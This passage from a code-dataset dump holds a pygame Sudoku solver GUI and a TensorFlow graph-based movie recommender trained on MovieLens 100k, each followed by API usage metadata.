h) // 2))\n        pygame.display.update()\n\n    def grid_init(self):\n        self.grid = list()\n        for row in range(9):\n            self.grid.append(list())\n            for col in range(9):\n                self.grid[row].append(Block(row, col))\n\n        for i, row in enumerate(self.board):\n            for j, element in enumerate(row):\n                self.grid[i][j].set_number(element)\n                if element != 0:\n                    self.grid[i][j].make_readonly()\n\n    def get_row_col(self, pos: Tuple) -> Tuple:\n        x, y = pos\n        row = (y - self.y_delta) // self.size\n        col = (x - self.x_delta) // self.size\n\n        return row, col\n\n    def is_valid_dims(self, row: int, col: int) -> bool:\n        return row in range(9) and col in range(9)\n\n\n\n    def draw_grid(self, win: pygame.Surface) -> None:\n        width, height = win.get_size()\n        color = MID_BLACK\n\n        # pygame.draw.line(win, color, (0, 0), (width, 0), 2)\n        # pygame.draw.line(win, color, (0, 0), (0, height), 2)\n\n        for i in range(9):\n            linewidth = 2 if i % 3 == 0 else 1\n\n            pygame.draw.line(win, color, (0, i * self.size), (width, i * self.size), linewidth)\n            pygame.draw.line(win, color, (i * self.size, 0), (i * self.size, height), linewidth)\n\n        pygame.draw.line(win, color, (width - 2, 0), (width - 2, height), 2)\n        pygame.draw.line(win, color, (0, height - 2), (width, height - 2), 2)\n\n\n\n    def draw_board(self, win: pygame.Surface) -> None:\n        if self.grid is None:\n            return\n\n        for row in self.grid:\n            for block in row:\n                block.draw(win)\n\n    def verify_temp(self, row: int, col: int, num: int) -> bool:\n        if self.selected:\n            # row, col = self.selected.get_dims()\n            # num = self.selected.get_number()\n\n            for i in range(9):\n                if self.grid[row][i] == num and i != col:\n                    return False\n\n                if self.grid[i][col] == num and i != row:\n                    return False\n\n            boxRow = row // 3\n            boxCol = col // 3\n\n            for i in range(3 * boxRow, 3 * boxRow + 3):\n                for j in range(3 * boxCol, 3 * boxCol + 3):\n                    if self.grid[i][j] == num and i != row and j != col:\n                        return False\n            \n            return True\n\n        return False\n\n    def solve_gui(self):\n        pos = self.find_empty()\n\n        if pos is None:\n            return True\n\n        row, col = pos\n\n        for i in range(1, 10):\n            if self.verify_temp(row, col, i):\n                self.grid[row][col].set_number(i)\n                self.grid[row][col].make_readonly()\n                self.draw()\n                pygame.time.delay(100)\n\n                if self.solve_gui():\n                    return True\n\n                self.grid[row][col].set_number(0)\n                self.grid[row][col].remove_readonly()\n                self.grid[row][col].remove_temp()\n                self.draw()\n                pygame.time.delay(100)\n        \n        return False\n\n\n\n\n\n\n    def find_empty(self) -> Tuple:\n        for row in self.grid:\n            for block in row:\n                if block.is_empty():\n                    row, col = block.get_dims()\n                    return row, col\n\n        return None\n\n\n\n    def draw(self):\n        self.sudokuWin.fill(CREAM)\n\n        self.draw_grid(self.sudokuWin)\n        self.draw_board(self.sudokuWin)\n\n        pygame.display.update()\n        \n\n    def quit(self):\n        pygame.font.quit()\n        pygame.quit()\n\n    def run(self):\n\n        self.display_init()\n        self.grid_init()\n\n        run = True\n        while run:\n            self.clock.tick(self.fps)\n            for event in pygame.event.get():\n\n                if event.type == pygame.QUIT:\n                    run = False\n\n                if event.type == pygame.KEYDOWN:\n\n                    if event.key in (pygame.K_1, pygame.K_KP1) and self.selected:\n                        self.selected.set_temp(1)\n\n                    if event.key in (pygame.K_2, pygame.K_KP2) and self.selected:\n                        self.selected.set_temp(2)\n\n                    if event.key in (pygame.K_3, pygame.K_KP3) and self.selected:\n                        self.selected.set_temp(3)\n\n                    if event.key in (pygame.K_4, pygame.K_KP4) and self.selected:\n                        self.selected.set_temp(4)\n\n                    if event.key in (pygame.K_5, pygame.K_KP5) and self.selected:\n                        self.selected.set_temp(5)\n\n                    if event.key in (pygame.K_6, pygame.K_KP6) and self.selected:\n                        self.selected.set_temp(6)\n\n                    if event.key in (pygame.K_7, pygame.K_KP7) and self.selected:\n                        self.selected.set_temp(7)\n\n                    if event.key in (pygame.K_8, pygame.K_KP8) and self.selected:\n                        self.selected.set_temp(8)\n\n                    if event.key in (pygame.K_9, pygame.K_KP9) and self.selected:\n                        self.selected.set_temp(9)\n\n                    if event.key == pygame.K_ESCAPE:\n                        if self.selected:\n                            self.selected.remove_temp()\n\n                    if event.key in (pygame.K_RETURN, pygame.K_KP_ENTER):\n                        if self.selected:\n                            row, col = self.selected.get_dims()\n                            num = self.selected.get_number()\n                            if self.verify_temp(row, col, num):\n                                self.selected.set_valid()\n\n                    if event.key == pygame.K_SPACE:\n                        self.solve_gui()\n                \n\n                if event.type == pygame.MOUSEBUTTONDOWN:\n                    pos = pygame.mouse.get_pos()\n                    row, col = self.get_row_col(pos)\n\n                    if self.is_valid_dims(row, col):\n                        if self.selected:\n                            self.selected.deselect()\n                            self.selected = None\n\n\n                        if not self.grid[row][col].is_readonly():\n                            self.selected = self.grid[row][col]\n                            self.selected.select()\n\n                    print(row, col, sep='\\t')\n\n            self.draw()\n\n        self.quit()\n\n\n\nif __name__ == \"__main__\":\n    X = Sudoku()\n    X.run()", "repo_name": "Deadshot96/Sudoku-Solver-GUI", "sub_path": "Grid.py", "file_name": "Grid.py", "file_ext": "py", "file_size_in_byte": 7966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.init", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.font.init", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 55, "usage_type": "attribute"}, {"api_name": "Block.Block", "line_number": 62, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 70, "usage_type": "name"}, {"api_name": "pygame.Surface", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 92, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 93, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 95, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 96, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pygame.time.delay", "line_number": 145, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 145, "usage_type": "attribute"}, {"api_name": "pygame.time.delay", "line_number": 154, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 154, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 163, "usage_type": "name"}, {"api_name": "pygame.display.update", "line_number": 180, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 180, "usage_type": "attribute"}, {"api_name": "pygame.font.quit", "line_number": 184, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 184, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 185, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 195, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 195, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 200, "usage_type": "attribute"}, {"api_name": "pygame.K_1", "line_number": 202, "usage_type": "attribute"}, {"api_name": "pygame.K_KP1", "line_number": 202, "usage_type": "attribute"}, {"api_name": "pygame.K_2", "line_number": 205, "usage_type": "attribute"}, {"api_name": "pygame.K_KP2", "line_number": 205, "usage_type": "attribute"}, {"api_name": "pygame.K_3", "line_number": 208, "usage_type": "attribute"}, {"api_name": "pygame.K_KP3", "line_number": 208, "usage_type": "attribute"}, {"api_name": "pygame.K_4", "line_number": 211, "usage_type": "attribute"}, {"api_name": "pygame.K_KP4", "line_number": 211, "usage_type": "attribute"}, {"api_name": "pygame.K_5", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pygame.K_KP5", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pygame.K_6", "line_number": 217, "usage_type": "attribute"}, {"api_name": "pygame.K_KP6", "line_number": 217, "usage_type": "attribute"}, {"api_name": "pygame.K_7", "line_number": 220, "usage_type": "attribute"}, {"api_name": "pygame.K_KP7", "line_number": 220, "usage_type": "attribute"}, {"api_name": "pygame.K_8", "line_number": 223, "usage_type": "attribute"}, {"api_name": "pygame.K_KP8", "line_number": 223, "usage_type": "attribute"}, {"api_name": "pygame.K_9", "line_number": 226, "usage_type": "attribute"}, {"api_name": "pygame.K_KP9", "line_number": 226, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 229, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 233, "usage_type": "attribute"}, {"api_name": "pygame.K_KP_ENTER", "line_number": 233, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 240, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 245, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 245, "usage_type": "attribute"}]}
{"seq_id": "71086611751", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom util import get_data100k,read_process,get_edgelist,pa_index\nimport networkx as nx\nfrom networkx.algorithms import bipartite\n\nimport numpy as np\nimport pandas as pd\nimport time\nfrom collections import deque\n\nimport tensorflow as tf\nfrom six import next\nfrom sklearn import preprocessing\nimport sys\nfrom scipy.sparse import lil_matrix\nfrom scipy.sparse import coo_matrix\n\nBATCH_SIZE = 1000\nUSER_NUM = 943\nITEM_NUM = 1682\ndf_train, df_test = get_data100k()\n#df_train, df_test = get_data1m()\n##preferential attachment    \npaUsers,paItems=pa_index(df_train,df_test)\n################laplacian\nla_movie,la_user,norm_la_movie,norm_la_user=laplacian_graph(df_train,df_test)\n\nimg=pd.read_csv('./data/cnn_100k.csv')\ndel img['Unnamed: 0']\nimg['path']-=1\nimg=img.set_index(np.arange(len(img)))\nimg_ma = np.zeros((ITEM_NUM,ITEM_NUM), dtype=np.float32) #np.asarray([[0 for x in range(USER_NUM)] for y in range(ITEM_NUM)],dtype=np.float16)\nfor index, row in img.iterrows():\n    itemid=int(row['path'])\n    img_ma[itemid]=row[1:]\n\nAdjacencyUsers = np.zeros((USER_NUM,ITEM_NUM), dtype=np.float32) #np.asarray([[0 for x in range(ITEM_NUM)] for y in range(USER_NUM)],dtype=np.float16)\nDegreeUsers_norm = np.zeros((USER_NUM,USER_NUM), dtype=np.float32)# np.asarray([[0 for x in range(1)] for y in range(USER_NUM)],dtype=np.float16)\nAdjacencyItems = np.zeros((ITEM_NUM,USER_NUM), dtype=np.float32) #np.asarray([[0 for x in range(USER_NUM)] for y in range(ITEM_NUM)],dtype=np.float16)\nDegreeItems_norm =  np.zeros((ITEM_NUM,ITEM_NUM), dtype=np.float32) #np.asarray([[0 for x in range(1)] for y in range(ITEM_NUM)],dtype=np.float16)\nfor index, row in df_train.iterrows():\n    userid=int(row['user'])\n    itemid=int(row['item'])\n    AdjacencyUsers[userid][itemid]=row['rate']/5\n    AdjacencyItems[itemid][userid]=row['rate']/5\n    DegreeUsers_norm[userid][userid]+=1\n    DegreeItems_norm[itemid][itemid]+=1\n    \nfor i in range(len(DegreeUsers_norm)):\n    for j in range(len(DegreeUsers_norm[i])):\n        if DegreeUsers_norm[i][j] !=0:\n            DegreeUsers_norm[i][j]=DegreeUsers_norm[i][j]**-0.5\n            break    \n            \nfor i in range(len(DegreeItems_norm)):\n    for j in range(len(DegreeItems_norm[i])):\n        if DegreeItems_norm[i][j] !=0:\n            DegreeItems_norm[i][j]=DegreeItems_norm[i][j]**-0.5\n            break\n\nclass ShuffleIterator(object):\n\n    def __init__(self, inputs, batch_size=10):\n        self.inputs = inputs\n        self.batch_size = batch_size\n        self.num_cols = len(self.inputs)\n        self.len = len(self.inputs[0])\n        self.inputs = np.transpose(np.vstack([np.array(self.inputs[i]) for i in range(self.num_cols)]))\n\n    def __len__(self):\n        return self.len\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        return self.next()\n\n    def next(self):\n        ids = np.random.randint(0, self.len, (self.batch_size,))\n        out = self.inputs[ids, :]\n        return [out[:, i] for i in range(self.num_cols)]\n\n\nclass OneEpochIterator(ShuffleIterator):\n    def __init__(self, inputs, batch_size=10):\n        super(OneEpochIterator, self).__init__(inputs, batch_size=batch_size)\n        if batch_size > 0:\n            self.idx_group = np.array_split(np.arange(self.len), np.ceil(self.len / batch_size))\n        else:\n            self.idx_group = [np.arange(self.len)]\n        self.group_id = 0\n\n    def next(self):\n        if self.group_id >= len(self.idx_group):\n            self.group_id = 0\n            raise StopIteration\n        out = self.inputs[self.idx_group[self.group_id], :]\n        self.group_id += 1\n        return [out[:, i] for i in range(self.num_cols)]\n\ndef inferenceDense(phase,user_batch, item_batch,idx_user,idx_item, user_num, item_num,UReg=0.05,IReg=0.1):\n\n    user_batch = tf.nn.embedding_lookup(idx_user, user_batch, name=\"embedding_user\")\n    item_batch = tf.nn.embedding_lookup(idx_item, item_batch, name=\"embedding_item\")\n\n    ul1mf=tf.layers.dense(inputs=user_batch, units=MFSIZE,activation=tf.nn.relu, kernel_initializer=tf.random_normal_initializer(stddev=0.01))\n    il1mf=tf.layers.dense(inputs=item_batch, units=MFSIZE,activation=tf.nn.relu, kernel_initializer=tf.random_normal_initializer(stddev=0.01))\n    InferInputMF=tf.multiply(ul1mf, il1mf)\n\n\n    infer=tf.reduce_sum(InferInputMF, 1, name=\"inference\")\n\n    regularizer = tf.add(UW*tf.nn.l2_loss(ul1mf), IW*tf.nn.l2_loss(il1mf), name=\"regularizer\")\n\n    return infer, regularizer\n\ndef optimization(infer, regularizer, rate_batch, learning_rate=0.0005, reg=0.1):\n\n    global_step = tf.train.get_global_step()\n    assert global_step is not None\n    cost_l2 = tf.nn.l2_loss(tf.subtract(infer, rate_batch))\n    cost = tf.add(cost_l2, regularizer)\n    train_op = tf.train.AdamOptimizer(learning_rate).minimize(cost, global_step=global_step)\n    return cost, train_op\n\ndef clip(x):\n    return np.clip(x, 1.0, 5.0) \n\n\ndef GraphRec_image(train, test,ver, Dataset='100k'):\n    AdjacencyUsers = np.zeros((USER_NUM,ITEM_NUM), dtype=np.float32) #np.asarray([[0 for x in range(ITEM_NUM)] for y in range(USER_NUM)],dtype=np.float16)\n    DegreeUsers = np.zeros((USER_NUM,1), dtype=np.float32)# np.asarray([[0 for x in range(1)] for y in range(USER_NUM)],dtype=np.float16)\n    \n    AdjacencyItems = np.zeros((ITEM_NUM,USER_NUM), dtype=np.float32) #np.asarray([[0 for x in range(USER_NUM)] for y in range(ITEM_NUM)],dtype=np.float16)\n    DegreeItems =  np.zeros((ITEM_NUM,1), dtype=np.float32) #np.asarray([[0 for x in range(1)] for y in range(ITEM_NUM)],dtype=np.float16)\n    for index, row in train.iterrows():\n      userid=int(row['user'])\n      itemid=int(row['item'])\n      AdjacencyUsers[userid][itemid]=row['rate']/5.0\n      AdjacencyItems[itemid][userid]=row['rate']/5.0\n      DegreeUsers[userid][0]+=1\n      DegreeItems[itemid][0]+=1\n    \n    DUserMax=np.amax(DegreeUsers) \n    DItemMax=np.amax(DegreeItems)\n    DegreeUsers=np.true_divide(DegreeUsers, DUserMax)\n    DegreeItems=np.true_divide(DegreeItems, DItemMax)\n    \n    AdjacencyUsers=np.asarray(AdjacencyUsers,dtype=np.float32)\n    AdjacencyItems=np.asarray(AdjacencyItems,dtype=np.float32)\n\n    if ver=='ver1':\n        UserFeatures= np.concatenate((np.identity(USER_NUM,dtype=np.bool_), AdjacencyUsers), axis=1) \n        ItemFeatures= np.concatenate((np.identity(ITEM_NUM,dtype=np.bool_), AdjacencyItems,img_ma), axis=1) \n    if ver=='ver2':\n        UserFeatures= np.concatenate((np.identity(USER_NUM,dtype=np.bool_), AdjacencyUsers,DegreeUsers), axis=1) \n        ItemFeatures= np.concatenate((np.identity(ITEM_NUM,dtype=np.bool_), AdjacencyItems,DegreeItems,img_ma), axis=1) \n    if ver=='ver3':\n        UserFeatures= np.concatenate((np.identity(USER_NUM,dtype=np.bool_), AdjacencyUsers,DegreeUsers,paUsers), axis=1) \n        ItemFeatures= np.concatenate((np.identity(ITEM_NUM,dtype=np.bool_), AdjacencyItems,DegreeItems,paItems_img_ma), axis=1) \n    if ver=='ver4':\n        UserFeatures= np.concatenate((np.identity(USER_NUM,dtype=np.bool_), AdjacencyUsers,DegreeUsers_norm,paUsers), axis=1) \n        ItemFeatures= np.concatenate((np.identity(ITEM_NUM,dtype=np.bool_), AdjacencyItems,DegreeItems_norm,paItems_img_ma), axis=1) \n    if ver=='ver5':\n        UserFeatures= np.concatenate((np.identity(USER_NUM,dtype=np.bool_), AdjacencyUsers,norm_la_user,paUsers), axis=1) \n        ItemFeatures= np.concatenate((np.identity(ITEM_NUM,dtype=np.bool_), AdjacencyItems,norm_la_movie,paItems,img_ma), axis=1) \n    if ver=='ver6':\n        UserFeatures= np.concatenate((np.identity(USER_NUM,dtype=np.bool_), AdjacencyUsers,la_user,paUsers), axis=1) \n        ItemFeatures= np.concatenate((np.identity(ITEM_NUM,dtype=np.bool_), AdjacencyItems,la_movie,paItems,img_ma), axis=1) \n\n    UserFeaturesLength=UserFeatures.shape[1]\n    ItemFeaturesLength=ItemFeatures.shape[1]\n\n    samples_per_batch = len(train) // BATCH_SIZE\n    iter_train = ShuffleIterator([train[\"user\"],train[\"item\"],train[\"rate\"]],batch_size=BATCH_SIZE)\n    iter_test = OneEpochIterator([test[\"user\"],test[\"item\"],test[\"rate\"]],batch_size=10000)\n\n    user_batch = tf.placeholder(tf.int32, shape=[None], name=\"id_user\")\n    item_batch = tf.placeholder(tf.int32, shape=[None], name=\"id_item\")\n    rate_batch = tf.placeholder(tf.float64, shape=[None])\n    phase = tf.placeholder(tf.bool, name='phase')\n\n    w_user = tf.constant(UserFeatures,name=\"userids\", shape=[USER_NUM, UserFeatures.shape[1]],dtype=tf.float64)\n    w_item = tf.constant(ItemFeatures,name=\"itemids\", shape=[ITEM_NUM, ItemFeatures.shape[1]],dtype=tf.float64)\n\n\n    infer, regularizer = inferenceDense(phase,user_batch, item_batch,w_user,w_item, user_num=USER_NUM, item_num=ITEM_NUM)\n    global_step = tf.contrib.framework.get_or_create_global_step()\n    _, train_op = optimization(infer, regularizer, rate_batch, learning_rate=LR, reg=0.09)\n\n    init_op = tf.global_variables_initializer()\n    config = tf.ConfigProto()\n    config.gpu_options.per_process_gpu_memory_fraction = 0.5\n    finalerror=-1\n    with tf.Session(config=config) as sess:\n        sess.run(init_op)\n        print(\"{} {} {} {}\".format(\"epoch\", \"train_error\", \"val_error\", \"elapsed_time\"))\n        errors = deque(maxlen=samples_per_batch)\n        start = time.time()\n        for i in range(EPOCH_MAX * samples_per_batch):\n            #users, items, rates,y,m,d,dw,dy,w = next(iter_train)\n            users, items, rates = next(iter_train)\n            _, pred_batch = sess.run([train_op, infer], feed_dict={user_batch: users,\n                                                                   item_batch: items,\n                                                                   rate_batch: rates,\n                                                                   phase:True})\n            pred_batch = clip(pred_batch)\n            errors.append(np.power(pred_batch - rates, 2))\n            if i % samples_per_batch == 0:\n                train_err = np.sqrt(np.mean(errors))\n                test_err2 = np.array([])\n                degreelist=list()\n                predlist=list()\n                for users, items, rates in iter_test:\n                    pred_batch = sess.run(infer, feed_dict={user_batch: users,\n                                                            item_batch: items,                                                                                             \n                                                            phase:False})\n\n                    pred_batch = clip(pred_batch)            \n                    test_err2 = np.append(test_err2, np.power(pred_batch - rates, 2))\n                end = time.time()\n                test_err = np.sqrt(np.mean(test_err2))\n                finalerror=test_err\n                print(\"{:3d},{:f},{:f},{:f}(s)\".format(i // samples_per_batch, train_err, test_err, end - start))\n                start = end\n\nMFSIZE=50\nUW=0.05\nIW=0.02\nLR=0.00003\nEPOCH_MAX = 300\ntf.reset_default_graph()\nGraphRec_image(df_train, df_test,ver='ver1',Dataset='100k')\n\n", "repo_name": "dxlabskku/iMovieRec", "sub_path": "graphrec_image.py", "file_name": "graphrec_image.py", "file_ext": "py", "file_size_in_byte": 11043, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "util.get_data100k", "line_number": 29, "usage_type": "call"}, {"api_name": "util.pa_index", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.array_split", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 112, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 112, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 113, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.dense", "line_number": 115, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 115, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 115, "usage_type": "attribute"}, {"api_name": "tensorflow.random_normal_initializer", "line_number": 115, "usage_type": "call"}, {"api_name": "tensorflow.layers.dense", "line_number": 116, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 116, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 116, "usage_type": "attribute"}, {"api_name": "tensorflow.random_normal_initializer", "line_number": 116, "usage_type": "call"}, {"api_name": "tensorflow.multiply", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.add", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.nn.l2_loss", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tensorflow.train.get_global_step", "line_number": 128, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.l2_loss", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 130, "usage_type": "attribute"}, {"api_name": "tensorflow.subtract", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.add", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 132, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 140, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 141, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 144, "usage_type": "attribute"}, {"api_name": "numpy.amax", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.true_divide", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.true_divide", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 158, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 159, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 162, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 165, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 166, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 168, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 169, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 171, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 172, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 174, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 175, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.bool_", "line_number": 178, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 187, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 188, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 188, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 189, "usage_type": "call"}, {"api_name": "tensorflow.float64", "line_number": 189, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 190, "usage_type": "call"}, {"api_name": "tensorflow.bool", "line_number": 190, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 192, "usage_type": "call"}, {"api_name": "tensorflow.float64", "line_number": 192, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 193, "usage_type": "call"}, {"api_name": "tensorflow.float64", "line_number": 193, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.framework.get_or_create_global_step", "line_number": 197, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 197, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 200, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 201, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 204, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 207, "usage_type": "call"}, {"api_name": "time.time", "line_number": 208, "usage_type": "call"}, {"api_name": "six.next", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 220, 